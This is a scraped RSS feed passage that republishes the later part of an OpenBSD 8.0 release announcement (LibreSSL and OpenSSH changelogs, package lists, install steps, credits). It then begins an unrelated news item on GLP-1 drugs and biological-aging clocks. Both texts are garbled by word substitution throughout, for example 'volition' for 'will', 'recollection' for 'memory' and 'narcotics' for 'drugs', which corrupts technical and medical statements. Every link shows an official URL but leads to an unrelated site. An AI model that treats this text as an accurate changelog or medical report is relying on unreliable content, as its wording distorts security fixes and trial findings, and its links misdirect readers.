sequence figure and communication header handling in DTLS. - Remove redundant BIO_write() dimension assertions in b64_write(). - Report invalid base64 BIO province as an inner error rather than asserting. - Improve SHA-3 achievement by using an unrolled and interleaved algorithm. - Allocate TLSv1.3 obtain buffers lazily. - Simplify handling of remaining document satisfied on toggle to the bequest stack. - Avoid harmless narrowing of the come back value in dtls1_ctrl(). - Remove NID_md5_sha1 assistance from tls1_PRF(). - Remove DTLS unprocessed records queue. - Remove DTLS use data queue. - Remove SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS which was never set. o Compatibility changes: - The misnamed tls_peer_cert_chain_pem() has been deprecated and may be removed in a forthcoming release. tls_peer_cert_chain_verified_pem() and tls_peer_cert_bundle_unverified_pem() have to be used instead. - Use X25519MLKEM768 as the preferred collection for TLSv1.3 connections in libtls. - Ensure libtls keeps operating alongside forthcoming OpenSSL releases that volition halt NUL-terminating ASN.1 strings. This is an old bug in libtls that volition bite, likely starting alongside OpenSSL 4.2. - CRYPTO_cleanup_all_ex_data() is now a no-op. It was not thread harmless and the genuine cleanup is now done by OPENSSL_cleanup(3). - Align X509_check_ca(3) alongside contemporary OpenSSL. While it has long been documented that it lone plant following calling X509_check_purpose(3), it motionless makes awareness to "fail closed", i.e., signify a non-CA. - Added OIDs for CCR, ErikIndex, ErikPartition, ErikSegmentIndex, and communityDefinition. o Bug fixes: - Fix PKCS7_set_{un,}signed_attributes(3) to authorize visitant to liberated on nonaccomplishment fairly than risking a twice free. - Initialize decode_error and invalid_key variables in TLS key portion code to evade branching on uninitialized memory. - Record expansion dimension between category and data in the ClientHello hash to justify identical framing in archetypal and second CH. - Fix out of border writes in the s_client XMSS mode. - Ensure EC_GROUP_check(3) and X509_CRL_verify(3) failures outcome in "app" failures in openssl(1) ecparam and openssl crl. - Do not neglect obtain on reverse DNS lookup failures in s_socket. - Ensure X509V3_EXT_print(3) lone returns 0 and 1. - Avoid calling memcmp() on NULL in IPAddressFamily_cmp(). - In libtls disallow wildcard matching of a TLD stated as a FQDN. - Unbreak several aspects of TLSv1.2 alongside tradition curve lists. - Ensure a peer-provided EC community key uses uncompressed encoding. - Send decode_error vigilant on nonaccomplishment to decode an EC peer pubkey. - Avoid NULL dereference and out-of-bounds peruse in password-based CMS decryption. - Add several missing limits inspect to ASN1_mbstrinc_copy(). - Avoid freeing a caller-owned buffer in PKCS7_verify(3). - Remove SSL_OP_LEGACY_SERVER_CONNECT from default options. - Send forbidden indicator alerts for assorted HelloRetryRequest violations. - Check that the server selected ciphersuite is valid for use alongside TLSv1.2. - Unlock CRYPTO_LOCK_UI on ui_open_session() nonaccomplishment to evade a deadlock. - Check HMAC(3) come back value to evade afterward use of uninitialized in openssl(1). - Use accurate vigilant for key_share without supported_groups. - Don't autumn X509_V_ERR_HOSTNAME_MISMATCH whenever verify callback returns 1. It has lengthy been documented that this is ill advised but several applications motionless do it. - Ensure the server selects an ALPN protocol that we advertised or abort the handshake alongside illegal_parameter. - Fix streaming of PKCS#7 objects alongside omitted content. - Avoid OOB admission because of category disturbance in PKCS7_stream(). - Plug leak and assorted another bugs in asn1_multi(), a helper to grip sequences and sets in config parsing. - Fix RFC 3779 bequest checks for leaves as far as possible without breaking the RPKI. Still authorize the contiguous issuer to omit among the extensions since alternatively concerning one third of RFC 9286 Manifests would rotate into invalid. - Correct a botched size inspect in dtls1_process_fragment(). - Avoid confusing delta CRLs as complete CRLs. - When copying an RSA-PSS EVP_PKEY_CTX, justify saltlen and minimal saltlen restrictions are copied fairly than using the defaults. - Allow DTLS clients to obtain unexpected Finished messages. - Cache the leaf's extensions before adding it to a validated sequence to create name constraints inspect activity additional reliably. - Ensure the entire topic is searched for email addresses and average names. - Check for embedded NULs in emails and subjectAltname in the basically unused bequest NAME_CONSTRAINTS_*() API. - Remove assistance for nameRelativeToCRLIssuer in the CRL Distribution Point extension. Per RFC 5280 it SHOULD not be used by conforming CAs and it was dining recollection for breakfast pre-signature. o Security and reliability fixes: - Fix parsing issues in X.509 name constraints URI host parsing. Handle IPv6 literals correctly and don't allow specially crafted userinfo to bypass presenter checks. - Limit size of buffered DTLS handshake messages to avoid overly ample recollection use on small handshake message fragments. - Fix an OCSP responder authority bypass for clients using tls_config_ocsp_require_stapling(), of which lone OpenBSD nc(1) and ftp(1) are known whenever they're used alongside the "muststaple" key word. o Testing and proactive security: - Improved test safety for DTLS and TLS renegotiation. - Add X.509 CRL regress from pre-Apache2-licensed BoringSSL. - Rework the evaluation example to be recollection based fairly than document based. Match Go's output format additional closely. - OpenSSH 10.6: o Security fixes: - Disabled ssh(1) LZ77 dictionary coder to evade a potential side-channel leak. - Fixed ChannelTimeout and RekeyLimit not being applied in sshd_config(5). - Made ssh(1) authorized_keys "restrict" keyword apply correctly to tunnel forwarding. o Potentially incompatible changes: - Use IANA allocated codepoint for ssh-mldsa44-ed25519 instead of '@openssh.com'. - Made sshd_config(5) DisableForwarding=yes override PermitTunnel=yes. - Enforce a maximum size for usernames in ssh-agent(1) agent key use constraints. - Disallow NUL byte in scp(1) '-O filename'. o New features: - New ssh-add(1) choice '-P' to skip PIN admission (bz3635). - ssh(1) indication handling alongside readpassphrase(3) fixed. - Switched ssh(1) from supercop ed25519 to libsodium. - Extended ssh(1) TCPKeepAlive to assistance forwardings (bz3921). - Added ssh-keygen(1) 'hexdump' to dump the key blob in hex format. - Allow setting/clearing ssh-keygen(1) touch-required/verify-required flags on FIDO personal keys whenever resetting the passphrase. - Added ssh(1) '-Z user@host' manner that lists pubkeys that will be tried for authentication. - Added experimental ssh(1) assistance for composite post-quantum mldsa44-ed25519 signature scheme. - Added an explicit-seed type of the ssh(1) keygen function. - Added signature malleability and pubkey validity checks to sshd(8) ed25519 verification. o Bugfixes: - Check ssh(1) compressed payloads don't inflate beyond the maximum payload length. - Avoid competition between multiple ssh(1) processes establishing multiplexing authority socket. - Plugged recollection leak in ssh-add(1) (CID 913600). - Fix for ssh(1) CIDs 913601 and 913602. - Fix for ssh(1) CID 913600. - Converted ssh(1) conduit timeouts to authorize partial and subsecond timeouts. - Made ssh(1) masking signals correctly use sigaddset (bz3981). - Fixed ssh(1) memleaks (CID 913598 and 913599); added missing semicolon (CID 913599). - Corrected Daylight Savings Time timestamp conversion by ssh(1) (bz4004). - Fixed ssh(1) proxy socket breakage in t-multiplex after latest pledge(2) changes. - Reading server banner by ssh-keyscan(1) no longer blocks/freezes on a many-host keyscan. - Allow session-bind@openssh.com requests whenever the ssh(1) agent is locked. - Avoid possible realloc use-after-free in the ssh(1) client. - Reordering of certificates tried during ssh(1) pubkey authentication. - Fixed ssh(1) ML-KEM/ECDH interop problem. - Removed several key ssh(1) parsing and verification paths from the pre-auth assault surface. - Avoid download to server-controlled way whenever performing ssh(1) download via commandline. - Avoid imaginable NULL deref in ssh(1); sanitise filenames received via distant glob. - Large refactoring of sshd(8) config administration code. - Made sshd(8) power domain name received from the system resolver to lowercase. - Fixed two one-byte out-of-cound says in sshd(8). - Stricter validation of transport province passed from the preauth to postauth sshd(8) process. - Fixed ssh(1) client use-after-free on error way if cipher_init() fails. - Added ssh-agent(1) -V to imprint version, use it to test the binary is functional following relinking. - Stopped ssh(1) validating bad cipher/mac lists arguments as valid. - Fixed ssh(1) NULL deref during pubkey auth. - Dropbear lately added a -Q option; create ssh(1) use it to query KEX if available. - Classify ssh(1) dynamic-tcpip channels as bulk, not interactive (bz3958). - Ports and packages: o Pre-built packages are accessible for the following architectures on the day of release: - aarch64 (arm64): 12907 - amd64: 13060 - i386: 10659 - mips64: 9072 - powerpc64: 9564 - sparc64: 10621 o Packages for the following architectures volition be made accessible as their builds complete: - arm - powerpc - riscv64 - Some highlights: o Asterisk 20.21.0 and 22.11.0 o OCaml 4.14.2 o Audacity 3.7.9 o OpenLDAP 2.6.15 o CMake 4.3.5 o PHP 8.3.33, 8.4.26 and o Chromium 154.0.8037.92 8.5.11 o Emacs 31.1 o Postfix 3.5.28 and 3.11.7 o FFmpeg 9.0.2 o PostgreSQL 18.6 o GCC 16.1.0 o Prism Launcher 11.1.0 o GHC 9.10.3 o Python 2.7.18 and 3.14.7 o GNOME 49 o Qt 5.15.19 (+ kde patches) and o Go 1.27.1 6.11.2 o JDK 11.0.32, 17.0.20, 21.0.12, o R 4.6.1 and 25.0.4 o Ruby 3.3.12, 3.4.11 and 4.0.7 o KDE Gear 26.08.1 o Rust 1.98.1 o KDE Frameworks 6.30.0 o SQLite 3.53.2 o KDE Plasma 6.7.5 o Shotcut 26.8.1 o Krita 6.0.3 o Sudo 1.9.17p2 o LLVM/Clang 21.1.8 and 22.1.8 o Suricata 7.0.7 o LibreOffice 26.8.0.3 o Tcl/Tk 8.5.19, 8.6.18 and 9.0.4 o Lua 5.1.5, 5.2.4, 5.3.6, o TeX Live 2026 5.4.8 and 5.5.1 o Vim 9.2.1125, Neovim 0.12.5 and o MariaDB 12.3.3 Vim-Classic 2026091 o Mono 6.14.1 o Wayland 1.26.0 alongside compositors o Mozilla Firefox 157.0 and CoW, Labwc, Mango, Niri, Sway and ESR 153.4.0 Wayfire o Mozilla Thunderbird 153.4.0 o Vulkan 1.4.357.0 o Mutt 2.4.2 and NeoMutt 20260616 o Xfce 4.20.0 o Node.js 24.21.0 and Deno 2.9.7 - As usual, dependable improvements in manual pages and another documentation. - The scheme includes the following important components from exterior suppliers: o Xenocara (based on X.Org 7.7 alongside xserver 21.1.24 + patches, freetype 2.14.3, fontconfig 2.17.1, Mesa 25.0.7, xterm 410, xkeyboard-config 2.20, fonttosfnt 1.2.5 and more) o LLVM/Clang 22.1.6 (+ patches) o GCC 4.2.1 (+ patches) and 3.3.6 (+ patches) o Perl 5.42.3 (+ patches) o pkgconf 3.0.7 o NSD 4.15.2 o Unbound 1.26.1 o Ncurses 6.4 o Binutils 2.17 (+ patches) o GDB 6.3 (+ patches) o Awk 20250116 o Expat 2.8.4 o zlib 1.3.2 (+ patches) ------------------------------------------------------------------------ - SECURITY AND ERRATA -------------------------------------------------- We provision patches for known safety threats and another important issues discovered following all release. Our continued investigation into security method we volition discover new safety problems -- and we always provide patches as shortly as possible. Therefore, we advise regular visits to <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/security.html</a> and <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/errata.html</a> ------------------------------------------------------------------------ - MAILING LISTS AND FAQ ------------------------------------------------ Mailing lists are an crucial method of communication among users and developers of OpenBSD. For data on OpenBSD mailing lists, please see: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/mail.html</a> You are additionally encouraged to peruse the Frequently Asked Questions (FAQ) at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/faq/</a> ------------------------------------------------------------------------ - DONATIONS ------------------------------------------------------------ The OpenBSD Project is a volunteer-driven application collection funded by donations. Besides OpenBSD itself, we additionally create crucial software like OpenSSH, LibreSSL, OpenNTPD, OpenSMTPD, the ubiquitous pf packet filter, the norm activity of our ports betterment process, and many others. This ecosystem is all handled under the identical backing umbrella. We anticipation our norm application volition outcome in contributions that maintain our build/development infrastructure, pay our electrical/internet costs, and authorize us to continue functioning extremely productive developer hackathon events. All of our developers powerfully encourage you to donate and assistance our future efforts. Donations to the project are extremely appreciated, and are described in additional item at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/donations.html</a> ------------------------------------------------------------------------ - OPENBSD FOUNDATION --------------------------------------------------- For those unable to create their contributions as straightforward gifts, the OpenBSD Foundation (<a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.openbsdfoundation.org</a>) is a Canadian not-for-profit company that can obtain larger contributions and issue receipts. In several situations, their receipt may meet requirements as a business disbursal write-off, so this is certainly a deliberation for some organizations or businesses. There may additionally be visibility benefits since the Foundation may be interested in participating in media releases. In turn, the Foundation then uses these contributions to assistance OpenBSD's infrastructure needs. Contact the basis board at directors@openbsdfoundation.org for more information. ------------------------------------------------------------------------ - RELEASE SONG --------------------------------------------------------- OpenBSD 8.0 comes alongside the opus "The Simps on AI". An explanation of the opus may be established at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/lyrics.html#80</a> ------------------------------------------------------------------------ - HTTPS INSTALLS ------------------------------------------------------- OpenBSD can be effortlessly installed via HTTPS downloads. Typically you need a sole small part of footwear media (e.g., a USB flash drive) and then the remainder of the records can be installed from a figure of locations, including immediately off the Internet. Follow this uncomplicated set of instructions to justify that you discover all of the records you will need during performing an instal via HTTPS. 1) Read either of the following two records for a catalog of HTTPS mirrors which provision OpenBSD, afterward choose one near you: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/ftp.html</a> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.openbsd.org/pub/OpenBSD/ftplist</a> As of October 20, 2026, the following HTTPS mirror sites have the 8.0 release: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.eu.openbsd.org/pub/OpenBSD/8.0/</a> Stockholm, Sweden <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.hostserver.de/pub/OpenBSD/8.0/</a> Frankfurt, Germany <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.bytemine.net/pub/OpenBSD/8.0/</a> Oldenburg, Germany <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.fr.openbsd.org/pub/OpenBSD/8.0/</a> Paris, France <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://mirror.aarnet.edu.au/pub/OpenBSD/8.0/</a> Brisbane, Australia <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.usa.openbsd.org/pub/OpenBSD/8.0/</a> CO, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp5.usa.openbsd.org/pub/OpenBSD/8.0/</a> CA, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://mirror.esc7.net/pub/OpenBSD/8.0/</a> TX, USA <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://openbsd.cs.toronto.edu/pub/OpenBSD/8.0/</a> Toronto, Canada <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://cloudflare.cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://fastly.cdn.openbsd.org/pub/OpenBSD/8.0/</a> Global The publish is additionally accessible at the expert site: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.openbsd.org/pub/OpenBSD/8.0/</a> Alberta, Canada However it is powerfully suggested you use a mirror. Other mirror sites may obtain a day or two to update. 2) Connect to that HTTPS mirror location and go into the directory pub/OpenBSD/8.0/ which contains these records and directories. This is a catalog of what you volition see: ANNOUNCEMENT armv7/ octeon/ root.mail README hppa/ openbsd-80-base.pub sparc64/ SHA256 i386/ packages/ src.tar.gz SHA256.sig landisk/ packages-stable/ sys.tar.gz alpha/ loongson/ ports.tar.gz xenocara.tar.gz amd64/ luna88k/ powerpc64/ arm64/ macppc/ riscv64/ It is fairly apt that you volition desire at LEAST the following records which use to all the architectures OpenBSD supports. README - generic README root.mail - a copy of root's communication at first login. (This is really worthwhile reading). 3) Read the README file. It is short, and a quick peruse volition make certain you comprehend what alternatively you need to fetch. 4) Next, go into the directory that applies to your architecture, for example, amd64. This is a catalog of what you volition see: BOOTIA32.EFI* bsd* floppy80.img pxeboot* BOOTX64.EFI* bsd.mp* game80.tgz xbase80.tgz BUILDINFO bsd.rd* index.txt xfont80.tgz INSTALL.amd64 cd80.iso install80.img xserv80.tgz SHA256 cdboot* install80.iso xshare80.tgz SHA256.sig cdbr* man80.tgz base80.tgz comp80.tgz miniroot80.img If you are new to OpenBSD, fetch _at least_ the document INSTALL.amd64 and install80.iso. The install80.iso document (roughly 794MB in size) is a one-step ISO-format instal CD depiction which contains the various *.tgz records so you do not need to fetch them separately. If you favor to use a USB flash drive, fetch install80.img and prosecute the instructions in INSTALL.amd64. 5) If you are an expert, prosecute the instructions in the document called README; otherwise, use the additional complete instructions in the document called INSTALL.amd64. INSTALL.amd64 may inform you that you need to fetch another files. 6) Just in case, obtain a peek at: <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.OpenBSD.org/errata.html</a> This is the leaf anywhere we conversation concerning the mistakes we made while creating the 8.0 release, or the important bugs we fixed post-release which we think our users should have fixes for. Patches and workarounds are plainly described there. ------------------------------------------------------------------------ - X.ORG FOR MOST ARCHITECTURES ----------------------------------------- X.Org has been unified additional closely into the system. This release contains X.Org 7.7. Most of our architectures container alongside X.Org, including amd64, sparc64 and macppc. During installation, you can instal X.Org quite effortlessly using xenodm(1), our simplified X11 display director forked from xdm(1). ------------------------------------------------------------------------ - PACKAGES AND PORTS --------------------------------------------------- Many third gathering application applications have been ported to OpenBSD and can be installed as pre-compiled binary packages on the assorted OpenBSD architectures. Please see <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://www.openbsd.org/faq/faq15.html</a> for more data on operating alongside packages and ports. Note: a few famous ports, e.g., NSD, Unbound, and multiple X applications, arrive norm alongside OpenBSD and do not need to be installed separately. ------------------------------------------------------------------------ - SYSTEM SOURCE CODE --------------------------------------------------- The origin code for all four subsystems can be established in the pub/OpenBSD/8.0/ directory: xenocara.tar.gz ports.tar.gz src.tar.gz sys.tar.gz The README (<a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://ftp.OpenBSD.org/pub/OpenBSD/8.0/README</a>) file explains how to agreement alongside these origin files. ------------------------------------------------------------------------ - THANKS --------------------------------------------------------------- Ports tree and bundle construction by Jeremie Courreges-Anglas, Visa Hankala, Stuart Henderson, Peter Hessler, George Koehler, Kurt Mosiejczuk, and Christian Weisgerber. Base and X scheme builds by Kenji Aoyama and Theo de Raadt. Release art by "yvaneht nioj and clanker". We would akin to appreciate all of the group who sent in bug reports, bug fixes, contribution cheques, and hardware that we use. We would additionally like to appreciate those who bought our former CD sets. Those who did not support us financially have motionless helped us alongside our goal of improving the norm of the software. Our developers are: Aaron Bieber, Adam Wolk, Aisha Tammy, Alexander Bluhm, Alexander Hall, Alexandr Nedvedicky, Alexandr Shadchin, Alexandre Ratchov, Andrew Hewus Fresh, Anil Madhavapeddy, Anthony J. Bentley, Antoine Jacoutot, Anton Lindqvist, Asou Masato, Ayaka Koshibe, Benoit Lecocq, Bjorn Ketelaars, Bob Beck, Brandon Mercer, Brent Cook, Bryan Steele, Can Erkin Acar, Caspar Schutijser, Charlene Wendling, Charles Longeau, Chris Cappuccio, Christian Ludwig, Christian Weisgerber, Christopher Zimmermann, Claudio Jeker, Dale Rahn, Damien Miller, Daniel Dickman, Daniel Jakots, Darren Tucker, Dave Voutila, David Coppa, David Gwynne, David Hill, David Leadbeater, Denis Fondras, Edd Barrett, Eric Faurot, Florian Obser, Florian Riehm, Frederic Cambus, George Koehler, Gerhard Roth, Giannis Tsaraias, Gilles Chehade, Giovanni Bechis, Gleydson Soares, Gonzalo L. Rodriguez, Greg Steuck, Hans-Joerg Hoexer, Helg Bredow, Henning Brauer, Ian Darwin, Igor Sobrado, Ingo Feinerer, Ingo Schwarze, James Hastings, James Turner, Jan Klemkow, Jason McIntyre, Jasper Lievisse Adriaanse, Jeremie Courreges-Anglas, Jeremy Evans, Job Snijders, Joel Sing, Joerg Jung, Johannes Thyssen Tishman, Jonathan Armani, Jonathan Gray, Jonathan Matthew, Jordan Hargrave, Josh Rickmar, Joshua Sing, Joshua Stein, Juan Francisco Cantero Hurtado, Kazuya Goda, Kenji Aoyama, Kenjiro Nakayama, Kenneth R Westerback, Kent R. Spillner, Kevin Lo, Kirill A. Korinsky, Kirill Bychkov, Klemens Nanni, Kurt Miller, Kurt Mosiejczuk, Landry Breuil, Lawrence Teo, Lucas Gabriel Vuotto, Lucas Raab, Marcus Glocker, Mark Kettenis, Mark Lumsden, Markus Friedl, Martijn van Duren, Martin Natano, Martin Reindl, Martynas Venckus, Matthew Dempsky, Matthias Kilian, Matthieu Herrb, Michael Mikonos, Mike Belopuhov, Mike Larkin, Miod Vallat, Moritz Buhl, Nam Nguyen, Nayden Markatchev, Nicholas Marriott, Nigel Taylor, Okan Demirmen, Omar Polo, Ori Bernstein, Otto Moerbeek, Paco Esteban, Pamela Mosiejczuk, Pascal Stumpf, Patrick Wildt, Paul Irofti, Pavel Korovin, Peter Hessler, Philip Guenther, Pierre-Emmanuel Andre, Pratik Vyas, Rafael Sadowski, Rafael Zalamena, Ralph Covelli, Raphael Graf, Remi Locherer, Remi Pointel, Renato Westphal, Renaud Allard, Ricardo Mestre, Richard Procter, Rob Pierce, Robert Nagy, Sasano Takayoshi, Scott Soule Cheloha, Sebastian Benoit, Sebastian Reitenbach, Sebastien Marie, Solene Rapenne, Stefan Fritsch, Stefan Hagen, Stefan Kempf, Stefan Sperling, Steven Mestdagh, Stuart Cassoff, Stuart Henderson, Sunil Nimmagadda, T.J. Townsend, Ted Unangst, Theo Buehler, Theo de Raadt, Thomas Frohwein, Tim van der Molen, Tobias Heider, Tobias Stoeckmann, Todd C. Miller, Todd Mortimer, Tom Cosgrove, Tracey Emery, Ulf Brosziewski, Uwe Stuehler, Vadim Zhukov, Vincent Gross, Visa Hankala, Vitaliy Makkoveev, Volker Schlecht, Yasuoka Masahiko, Yojiro Uo <b>[<a href="https://en.mycoding.id/category/technology" target="_blank">prev in list</a>] [<span color="#c0c0c0">next in list</span>] [<a href="https://en.mycoding.id/category/technology" target="_blank">prev in thread</a>] [<span color="#c0c0c0">next in thread</span>] </b> </pre> <br> <a href="https://en.mycoding.id/category/technology" target="_blank">Configure</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">About</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">News</a> | <a href="https://en.mycoding.id/category/technology" target="_blank">Add&nbsp;a&nbsp;list</a> | Sponsored&nbsp;by&nbsp;<a href="https://en.mycoding.id/category/technology" target="_blank">KoreLogic</a> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/openbsd-8-0-released-oct-20-2026-73235</guid> <pubDate>Tue, 20 Oct 2026 02:53:51 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Novo Nordisk, Eli Lilly Report GLP-1 Signals of Slowed Biological Aging at ARDD]]></title> <description><![CDATA[Novo Nordisk, Eli Lilly Report GLP-1 Signals of Slowed Biological Aging at ARDD. Comments]]></description> <media:thumbnail url="https://trial.medpath.com/og-banner.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/novo-nordisk-eli-lilly-report-glp-1-signals-of-slowed-biological-aging-at-ardd-73236</link> <content:encoded><![CDATA[<div><p><a href="https://en.mycoding.id/category/technology" target="_blank">Novo Nordisk<span aria-hidden="true">View business profile</span></a><span> and </span><a href="https://en.mycoding.id/category/technology" target="_blank">Eli Lilly<span aria-hidden="true">View business profile</span></a><span> all presented first data at the Aging Research &amp; Drug Discovery (ARDD) gathering at Harvard suggesting that their </span><a href="https://en.mycoding.id/category/technology" target="_blank">GLP-1 receptor<span> (search)</span><span aria-hidden="true">Search target</span></a><span> agonists may dilatory molecular measures of biologic aging, the archetypal medicinal readouts tying the medication category to aging clocks.</span></p> <p><span>Novo's Global Project Leader for Research and Development, Nikolaj Roed, presented evidence that </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> and another </span><a href="https://en.mycoding.id/category/technology" target="_blank">GLP-1 receptor<span> (search)</span><span aria-hidden="true">Search target</span></a><span> agonists "may" assistance healthier aging, citing endurance and bodily function data and class-level evidence pointing to broader longevity potential. Roed stated the business has been seeing "improved biologic age in our patients throughout trials and throughout distinct tissues," alongside an general difference of about two to three years.</span></p> <p><span>Alejandro Aguayo-Orozco, a elder specialized director at Novo, told the gathering that the inquiry is no longer whether </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> reaches diseases applicable to health extend and aging. "If the inquiry is, 'Can </span><span>semaglutide</span><span> attain multiple diseases applicable to health extend and aging?' we cognize we can say the answer is yes," he said. The next question, he added, is whether those effects are accompanied by changes to molecular measures of biologic aging: "When you intervene alongside </span><span>semaglutide</span><span>, does it really move the clocks in any direction? And the answer is yes."</span></p> <h2>Proteomic Clocks in 10,052 Participants</h2> <p><span>Novo's study drew lifeblood from 10,052 people, fractional on the medication and fractional on placebo, at baseline and again months later. The samples were measured alongside proteomic clocks, which use levels of key proteins to foretell a person's age and hazard of dying. The business established the narcotics caused a broad slowdown in aging clocks, as much as four years on a clock that looks at bosom proteins. "I think it's beautiful apparent that the harmonium age is shifting," Aguayo-Orozco said.</span></p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">Semaglutide<span aria-hidden="true">View medication details</span></a><span> showed lesser proteomic biologic age estimates throughout cardiovascular outcome trials, alongside a fast consequence inside 13 to 20 weeks that was either sustained or enhanced complete 150 weeks. Proteomic signatures suggested improvements in vitality and locomotion. Modeled from SELECT test consequence estimates in a UK real-world </span><span>semaglutide</span><span> cohort of 19,117 people, remaining life-year gains of 1.9 years general were projected throughout all age group, alongside the largest acquire at younger care ages.</span></p> <h2>Lilly's Epigenetic Sub-Study Within SURMOUNT-5</h2> <p><span>Kevin Duffin, vice chairman for aging investigation at </span><a href="https://en.mycoding.id/category/technology" target="_blank">Eli Lilly<span aria-hidden="true">View business profile</span></a><span>, presented first epigenetic data suggesting </span><a href="https://en.mycoding.id/category/technology" target="_blank">tirzepatide<span aria-hidden="true">View medication details</span></a><span> "may" dilatory biologic aging, framing it as a small aviator to test methods and inspect consistency fairly than a conclusive result. "All the clocks are telling a accordant narrative that we're seeing a decrease in age," Duffin said. "It's not akin we're going to reverse age by 30 years or something, but it's a important reduction."</span></p> <p><span>The data came from an epigenetic sub-study inside SURMOUNT-5, Lilly's head-to-head test of </span><a href="https://en.mycoding.id/category/technology" target="_blank">tirzepatide<span aria-hidden="true">View medication details</span></a><span> against </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span>. The sub-study took paired whole-blood samples from </span><span>tirzepatide</span><span>-treated participants at baseline and at week 72, equal to 1.38 elapsed years, alongside 91.5% of participants on the 15 mg dose by week 72. </span><a href="https://en.mycoding.id/category/technology" target="_blank">Zymo Research<span> (search)</span><span aria-hidden="true">Search term</span></a><span> and </span><a href="https://en.mycoding.id/category/technology" target="_blank">TruDiagnostic<span> (search)</span><span aria-hidden="true">Search term</span></a><span> independently generated the methylation data so the two sets could be checked against all other. After norm control, the inspection covered 82 distinctive subjects, 71 of whom had paired baseline and week 72 data.</span></p> <p><span>All 15 age-unit epigenetic clocks showed small aging than the 1.38 years of chronological period that had passed. Two clocks reached statistical significance, alongside median gains of 1.1 and 0.7 years complete the study period. On pace-of-aging measures, the Zymo data showed DunedinPACE falling from a median of 1.13 to 1.08. </span><a href="https://en.mycoding.id/category/technology" target="_blank">TruDiagnostic<span> (search)</span><span aria-hidden="true">Search term</span></a><span>'s data reproduced the direction of journey throughout six second-generation clocks, including GrimAge V1 and V2, and showed larger effects on the DunedinPACE and FraminghamPACE gait clocks.</span></p> <p><span>Organ clocks suggested lesser predicted age in the immune system, kidney, liver and cardiovascular organs, which Lilly stated fits the improved medicinal outcomes seen in tolerant trials. Methylation-based macromolecule predictions, known as EpiScores, established 21 proteins considerably changed at week 72. The form pointed to reduced innate inflammatory signalling, metabolic inflammation and tissue damage, and risen adaptive immune surveillance, and it replicated 28 earlier reported diabetes-associated macromolecule signatures. Lilly drew parallels alongside findings from caloric limitation and bariatric operation studies.</span></p> <h2>Caveats and Open Questions</h2> <p><span>Lilly described the display as heavily caveated. The sub-study was small and single-arm, alongside no placebo or control. Follow-up was abbreviated related to the measure error of the clocks, and several clock signals were discordant or unresolved. Several predicted macromolecule changes did not equivalent genuine measurements, including VCAM1, SHBG and TNFRSF1B. The clocks themselves were not trained on randomized controlled test or longitudinal data. Lilly called the findings preliminary and hypothesis-generating, needing replication in larger, ideally randomized studies, and stated it plans to develop the activity to </span><a href="https://en.mycoding.id/category/technology" target="_blank">semaglutide<span aria-hidden="true">View medication details</span></a><span> and another chronic importance administration studies.</span></p> <p><span>Steve Horvath, a prof at the University of California, Los Angeles, credited alongside inventing aging clocks, stated the emerging data could provision "evidence that these GLP-1 narcotics are really what is known as geroprotectors, medications that dilatory or perchance equal reverse biologic aging." He described a two-year consequence as "pretty strong." But Horvath cautioned that he is not prepared to obtain the narcotics himself. "Clearly, the narcotics have many benefits in obese people, but I did not yet see adequate evidence that they volition advantage skinny people," he said. "I conjecture we volition have to wait."</span></p> <p><span>Vadim Gladyshev, a Harvard biologist who assisted Novo alongside its molecular measurements, said: "In an unhealthy population, I do think it's an anti-aging drug. But in a fit population, no one knows." Several group at the gathering cautioned that GLP-1 narcotics have flank effects, including muscle loss.</span></p> <p><span>Yuge Ji, a biologist who earlier worked in the site and now runs a startup, Reflector Bio, stated the studies are a boost for aging clock science. "The clock group have been pushing for a decade to get this benevolent of study done," she said.</span></p> <h2>A Regulatory Path for Longevity Drugs</h2> <p><span>Answers on fit populations could commencement to appear in a twelvemonth or two. In January, the US agency </span><a href="https://en.mycoding.id/category/technology" target="_blank">ARPA-H<span> (search)</span><span aria-hidden="true">Search term</span></a><span> put $38 myriad toward a study in Texas that volition attempt to decide whether </span><a 